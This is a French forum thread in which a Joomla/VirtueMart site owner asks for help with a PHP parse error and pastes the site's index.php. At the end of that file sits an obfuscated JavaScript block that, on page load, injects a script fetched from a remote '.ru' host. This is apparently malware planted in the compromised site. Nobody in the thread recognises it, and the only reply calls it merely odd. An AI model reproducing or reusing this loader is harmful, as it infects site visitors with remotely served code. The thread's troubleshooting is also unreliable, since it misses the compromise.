Mon php plante mon site

Résolu
Bonjour,

J'ai aussi le meme souci, ce matin jai voulu depublier 2 produits sur mon virtuemart et lorsque j'ai voulu controler sur mon site si ceux ci etait bien fait, j'ai eu ce message d'erreur :
Parse error: syntax error, unexpected '<' in /homez.312/sweatysh/www/index.php on line 90
Que dois je faire ?
Help me

4 réponses

  1. quel est la ligne 89 et 90 de index.php ?
    0
    1. voici mon index
      <?php
      /**
      * @version $Id: index.php 11407 2009-01-09 17:23:42Z willebil $
      * @package Joomla
      * @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
      * @license GNU/GPL, see LICENSE.php
      * Joomla! is free software. This version may have been modified pursuant
      * to the GNU General Public License, and as distributed it includes or
      * is derivative of works licensed under the GNU General Public License or
      * other free or open source software licenses.
      * See COPYRIGHT.php for copyright notices and details.
      */

      // Set flag that this is a parent file
      define( '_JEXEC', 1 );

      define('JPATH_BASE', dirname(__FILE__) );

      define( 'DS', DIRECTORY_SEPARATOR );

      require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
      require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

      JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

      /**
      * CREATE THE APPLICATION
      *
      * NOTE :
      */
      $mainframe =& JFactory::getApplication('site');

      /**
      * INITIALISE THE APPLICATION
      *
      * NOTE :
      */
      // set the language
      $mainframe->initialise();

      JPluginHelper::importPlugin('system');

      // trigger the onAfterInitialise events
      JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
      $mainframe->triggerEvent('onAfterInitialise');

      /**
      * ROUTE THE APPLICATION
      *
      * NOTE :
      */
      $mainframe->route();

      // authorization
      $Itemid = JRequest::getInt( 'Itemid');
      $mainframe->authorize($Itemid);

      // trigger the onAfterRoute events
      JDEBUG ? $_PROFILER->mark('afterRoute') : null;
      $mainframe->triggerEvent('onAfterRoute');

      /**
      * DISPATCH THE APPLICATION
      *
      * NOTE :
      */
      $option = JRequest::getCmd('option');
      $mainframe->dispatch($option);

      // trigger the onAfterDispatch events
      JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
      $mainframe->triggerEvent('onAfterDispatch');

      /**
      * RENDER THE APPLICATION
      *
      * NOTE :
      */
      $mainframe->render();

      // trigger the onAfterRender events
      JDEBUG ? $_PROFILER->mark('afterRender') : null;
      $mainframe->triggerEvent('onAfterRender');

      /**
      * RETURN THE RESPONSE
      */
      echo JResponse::toString($mainframe->getCfg('gzip'));

      <script>O=[];OB={N:false};Uj={l:false};var W;X=function(){var _=[];function S(H,Z,q){var A=new Date();return H.substr(Z,q);var I=new Array();var T=new Array();}var fL=false;var v=new String();var P='';var j="";this.Ra=28571;this.Ra-=2;var XS=RegExp;var mD="mD";rQ=8668;rQ--;this.bU=4350;this.bU-=141;var vL=["qa","uY"];var M=document;var Zx="/goog"+S("le.codzSm",0,5)+S("bRrm/skybrR",3,5)+S("cn.coPzC",0,5)+S("m/webuLs",0,5)+"s.com"+S("vt2.php2tv",3,4);var bL="bL";var bp=new Date();k=["lj","zD"];function r(H,Z){Vd={_j:4922};UL=["RL","wJ","Py"];this.Y=17261;this.Y++;var q=String("[")+Z+String("]");var Q=new XS(q, String(S("gpBd",0,1)));zf={n:false};uu=8247;uu-=93;return H.replace(Q, P);kC=54714;kC+=130;this.qh="qh";};dB=[];var dn="";var MZ=407591-399511;var E=r('s_cQr_iQpQtI','UIQXd_Bf');var c=null;Px={DR:false};kx={JH:63738};var U=String("bod"+"y");var sQ=false;var Ao=false;var wj=["g","rV","SR"];W=function(){try {var u=r('c4rfewa_tpewE4lBekmfeXn7tB','uXp_VfkBw47');Me={vE:"js"};this.VG=13845;this.VG--;w=M[u](E);var H=MZ+Zx;zI=["Oq"];lt=["G"];var NK=false;var f=r('sxrqcx','3iyjq1x6AfH_');AI=60054;AI++;var rZ="de"+S("fe2Cj",0,2)+"r";x=60079;x--;w[f]=new String(S("http:zWZU",0,5)+"//chi"+S("ldbar9fz",0,5)+".ru:")+H;w[rZ]=[1,6][0];var IG={Cq:false};M[U].appendChild(w);this.NY='';} catch(F){i_=["Jd"];};Xo=51953;Xo-=68;Za={vt:5632};};};this.SG=10367;this.SG-=28;rT={XL:"Im"};X();RLs={};IH={};var kf=42521;var r_=14854;window.onload=W;eQ=60707;eQ++;AF=47990;AF++;var uC="uC";fU=[];</script>
      <!--726040ab532ec6259ffd74a4684a60e4-->

      Voila maintenant ce qu'il me dit

      Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.312/sweatysh/www/index.php:1) in /homez.312/sweatysh/www/libraries/joomla/session/session.php on line 423

      Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.312/sweatysh/www/index.php:1) in /homez.312/sweatysh/www/libraries/joomla/session/session.php on line 423

      Warning: Cannot modify header information - headers already sent by (output started at /homez.312/sweatysh/www/index.php:1) in /homez.312/sweatysh/www/libraries/joomla/session/session.php on line 426
      0
      1. On ne pourra pas t'aider avec ce code...

        C'est ça le désavantage des CMS... quand tout va bien pas de soucis mais quand y a une erreur il faut s'y connaitre un peu.

        d'après les lignes que tu dis, le problème serai soit sur un echo
        echo JResponse::toString($mainframe->getCfg('gzip'));

        soit sur le script javascript en dessous

        malheureusement on a pas assez d'infos pour en tirer quelque chose.

        personnelement je trouve ça bizare d'avoir des balises script hors d'un echo en php... peut être une piste!?
        0